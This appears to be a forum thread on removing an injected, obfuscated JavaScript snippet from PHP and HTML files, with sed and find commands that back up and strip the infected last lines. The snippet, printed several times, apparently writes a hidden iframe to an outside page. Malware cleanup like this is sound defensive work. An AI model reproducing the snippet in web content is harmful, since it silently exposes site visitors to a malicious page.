Shell Programming and Scripting

<?php echo '<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\"ykfvj?3\"jgkijv?3\"htcogdqtfgt?2@"));</script>';?>

un
deux
trois
quatre<?php code to delete ?>

$ sed 's/<?php code to delete ;?>$//' file
> un
> deux
> trois
> quatre

$ sed 's#<?php code to delete ;?>$##' file

$ sed 's/<?php co.+lete ;?>$//' file

sed -i 's/pattern/replace/' file

for file in php1 php2 php3 ...
do
sed -e '$d' $file > $file.tmp
rm $file
mv $file.tmp $file
done

PHP:
<?php echo '<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\"ykfvj?3\"jgkijv?3\"htcogdqtfgt?2@"));</script>';?>

HTML:
<script type="text/javascript">function count(str){var res = '';for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count('>khtcog"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr"ykfvj?3"jgkijv?3"htcogdqtfgt?2@'));</script>

# this does the whole html piece: finds the files, then makes a copy of them appending .123bu456, then checks to see if they have an \n between the last line of real tags and the start of the hack; 
# if not, adds one, if so, ignores it; last it deletes the last line of the file which matches the find critera. It also ignores the .123bu456 files, if any are  already in existance, so it can safely be run more than once without
# creating numerous duplicate files..
find . \! \( -name '*.123bu456' -prune \) -exec grep -q "htcogdqtfgt?2@'));</script>" '{}' \; -print  |while read line; do file=$(cp ${line} ${line}.123bu456; sed -i 's#</html><script #</html>\n<script #g' ${line}; sed -i '$d' ${line} ); done

# this does the whole php piece: finds the files, then makes a copy of them appending .123bu456, then checks to see if they have an \n between the last line of real tags and the start of the hack; 
# if not, adds one, if so, ignores it; last it deletes the last line of the file which matches the find critera. It also ignores the .123bu456 files, if any are  already in existance, so it can safely be run more than once without
# creating numerous duplicate files..
find . \! \( -name '*.123bu456' -prune \) -exec grep -q "<?php echo '<script type=\"text/javascript\">function count(str){var res = \"\";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(\">khtcog" '{}' \; -print |while read line; do file=$(cp ${line} ${line}.123bu456; sed -i 's#<?php echo #\n<?php echo #g' ${line}; sed -i '$d' ${line} ); done

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